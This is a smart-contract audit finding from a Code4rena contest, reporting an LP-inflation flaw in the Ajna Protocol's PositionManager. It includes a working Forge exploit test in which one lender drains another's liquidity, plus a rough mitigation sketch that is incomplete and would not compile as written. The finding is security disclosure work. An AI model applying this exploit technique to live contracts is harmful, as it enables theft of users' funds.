Ajna Protocol - ast3ros's results

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/6995f24bdf9244fa35880dda21519ffc131c905c/ajna-core/src/libraries/external/LPActions.sol#L244 https://github.com/code-423n4/2023-05-ajna/blob/6995f24bdf9244fa35880dda21519ffc131c905c/ajna-core/src/PositionManager.sol#L181-L213

Vulnerability details

Impact

The PositionManager contract contains a critical vulnerability that enables a malicious user to steal all the liquidity from the pool by inflating their LP balance.

Proof of Concept

The exploit relies on the fact that the amount transferred from the pool to the PositionManager contract can be different from the amount specified in the transfer function. If a user sets the allowance lower than the transfer amount, only the allowance amount is transferred.

            // transfer allowed amount or entire LP balance
            allowedAmount = Maths.min(allowedAmount, ownerLpBalance);

https://github.com/code-423n4/2023-05-ajna/blob/6995f24bdf9244fa35880dda21519ffc131c905c/ajna-core/src/libraries/external/LPActions.sol#L244

Therefore, when user memorialize the positions, the amount transfer can be less than the lpBalance in the pool if user set allowance less than that amount. And PositionManager does not check if the amount it receive is sufficient or not.

However, the PositionManager contract does not verify if the transferred amount matches the lpBalance of the user in the pool. Therefore, a user can memorialize their position with a lower amount than their actual lpBalance in the pool by setting allowance lower than that amount and inflate their LP balance in the PositionManager contract.

        for (uint256 i = 0; i < indexesLength; ) {
            index = params_.indexes[i];

            // record bucket index at which a position has added liquidity
            // slither-disable-next-line unused-return
            positionIndex.add(index);

            (uint256 lpBalance, uint256 depositTime) = pool.lenderInfo(index, owner);

            Position memory position = positions[params_.tokenId][index];

            // check for previous deposits
            if (position.depositTime != 0) {
                // check that bucket didn't go bankrupt after prior memorialization
                if (_bucketBankruptAfterDeposit(pool, index, position.depositTime)) {
                    // if bucket did go bankrupt, zero out the LP tracked by position manager
                    position.lps = 0;
                }
            }

            // update token position LP
            position.lps += lpBalance;
            // set token's position deposit time to the original lender's deposit time
            position.depositTime = depositTime;

            // save position in storage
            positions[params_.tokenId][index] = position;

            unchecked { ++i; }
        }

        // update pool LP accounting and transfer ownership of LP to PositionManager contract
        pool.transferLP(owner, address(this), params_.indexes); // @audit-issue no check the amount transfer here

https://github.com/code-423n4/2023-05-ajna/blob/6995f24bdf9244fa35880dda21519ffc131c905c/ajna-core/src/PositionManager.sol#L181-L213

POC:

Alice and Bob both provide 3000*1e18 liquidity to the Ajna pool. Then they mint NFTs representing their positions to earn rewards.

• Alice sets the allowance equal to her liquidity amount (3000*1e18) and memorializes her position with her NFT.

• Bob sets the allowance to only 10001e18, less than his liquidity amount (30001e18). He then memorializes his position with his NFT.

• Bob actually transfers only 10001e18, but the PositionManager records his LP balance in his NFT as 30001e18.

• Bob can repeat this process to inflate his LP balance in his NFT. In this example, he inflates it to 5000*1e18.

• Bob then redeems his NFT in the PositionManager contract and withdraws all 5000*1e18 LP balance (including Alice’s balance).

• Alice redeems her NFT in the PositionManager contract and gets nothing because her balance has been drained.

Put this test in tests/forge/unit/PositionManager.t.sol and run forge test -vvvvvv -m testMemorializePositionsExploitation

    function testMemorializePositionsExploitation() external {
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        _mintQuoteAndApproveManagerTokens(alice, 10000 * 1e18);
        _mintQuoteAndApproveManagerTokens(bob, 10000 * 1e18);

        uint256[] memory indexes = new uint256[](1);
        indexes[0] = 2550;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 3_000 * 1e18;
        address[] memory transferors = new address[](1);
        transferors[0] = address(_positionManager);

        // alice and bob add liquidity
        _addInitialLiquidity({
            from:   alice,
            amount: amounts[0],
            index:  indexes[0]
        });

        _addInitialLiquidity({
            from:   bob,
            amount: amounts[0],
            index:  indexes[0]
        });
        
        // alice and bob mint NFT
        uint256 tokenIdAlice = _mintNFT(alice, alice, address(_pool));
        uint256 tokenIdBob = _mintNFT(bob, bob, address(_pool));

        // Alice

        // alice memorialize params struct
        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParamsAlice = IPositionManagerOwnerActions.MemorializePositionsParams(
            tokenIdAlice, indexes
        );

        // alice allow position manager to take ownership of the position
        changePrank(alice);
        _pool.increaseLPAllowance(address(_positionManager), indexes, amounts);
        _positionManager.memorializePositions(memorializeParamsAlice);

        // check memorialization success for Alice
        assertEq(_positionManager.getLP(tokenIdAlice, indexes[0]), 3000 * 1e18);

        // Bob

        // bob memorialize params struct
        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParamsBob = IPositionManagerOwnerActions.MemorializePositionsParams(
            tokenIdBob, indexes
        );

        // bob memorialize quote tokens into minted NFT but with allowance of 1000e18 instead of 3000e18
        uint256[] memory allowanceAmountsBob = new uint256[](1);
        allowanceAmountsBob[0] = 1_000 * 1e18;
        changePrank(bob);
        _pool.increaseLPAllowance(address(_positionManager), indexes, allowanceAmountsBob);
        _positionManager.memorializePositions(memorializeParamsBob);
        
        // check memorialization success for Bob
        assertEq(_positionManager.getLP(tokenIdBob, indexes[0]), 3000 * 1e18); // bob LP balance is inflated to 3000 even though only depositing 1_000e18

        // bob memorialize one more time to inflate even more LP balance in position manager
        _pool.increaseLPAllowance(address(_positionManager), indexes, allowanceAmountsBob);
        _positionManager.memorializePositions(memorializeParamsBob);
        
        // check memorialization success for Bob
        assertEq(_positionManager.getLP(tokenIdBob, indexes[0]), 5000 * 1e18); // bob LP balance is inflated to 5000 even though only depositing additional 1_000e18
        
        // bob redeem to get all of the Alice LP balance in position manager
        IPositionManagerOwnerActions.RedeemPositionsParams memory reedemParams = IPositionManagerOwnerActions.RedeemPositionsParams(
            tokenIdBob, address(_pool), indexes
        );

        _pool.approveLPTransferors(transferors);
        _positionManager.reedemPositions(reedemParams);


        (uint256 lpBalanceBobAfter,) = _pool.lenderInfo(indexes[0], bob);
        console.log("Balance of Bob: ", lpBalanceBobAfter);

        // alice redeem NFT and get nothing
        changePrank(alice);
        reedemParams = IPositionManagerOwnerActions.RedeemPositionsParams(
            tokenIdAlice, address(_pool), indexes
        );

        _pool.approveLPTransferors(transferors);
        _positionManager.reedemPositions(reedemParams);

        (uint256 lpBalanceAliceAfter,) = _pool.lenderInfo(indexes[0], alice);
        console.log("Balance of Alice: ", lpBalanceAliceAfter);


        // Bob drain all the balance of Alice
        assertEq(lpBalanceBobAfter, 6_000 * 1e18); 
        assertEq(lpBalanceAliceAfter, 0);
    }

Tools Used

Manual

Recommended Mitigation Steps

The PositionManager contract should check if the transferred amount is equal to the lpBalance of the user in the pool contract.

+       uint256[] lpBalanceBeforeArray;
+       uint256[] lpBalanceTransferArray;
        for (uint256 i = 0; i < indexesLength; ) {
            index = params_.indexes[i];
+           uint256 lpBalanceBefore = pool.lenderInfo(index, address(this));
+           lpBalanceBeforeArray.push(lpBalanceBefore);
            // record bucket index at which a position has added liquidity
            // slither-disable-next-line unused-return
            positionIndex.add(index);

            (uint256 lpBalance, uint256 depositTime) = pool.lenderInfo(index, owner);

            Position memory position = positions[params_.tokenId][index];

            // check for previous deposits
            if (position.depositTime != 0) {
                // check that bucket didn't go bankrupt after prior memorialization
                if (_bucketBankruptAfterDeposit(pool, index, position.depositTime)) {
                    // if bucket did go bankrupt, zero out the LP tracked by position manager
                    position.lps = 0;
                }
            }

            // update token position LP
            position.lps += lpBalance;
            // set token's position deposit time to the original lender's deposit time
            position.depositTime = depositTime;

            // save position in storage
            positions[params_.tokenId][index] = position;

+           lpBalanceTransferArray.push(lpBalance);

            unchecked { ++i; }
        }


        // update pool LP accounting and transfer ownership of LP to PositionManager contract
        pool.transferLP(owner, address(this), params_.indexes);
+       require(_checkTransferAmount(lpBalanceBeforeArray, lpBalanceTransferArray), "transfer error");
+
+   // Function check balance after - balance before in the contract = transfer amount   
+   function _checkTransferAmount(uint256[] lpBalanceBeforeArray, uint256 lpBalanceTransferArray) returns (bool) {
+    ...
+   }

Assessed type

Other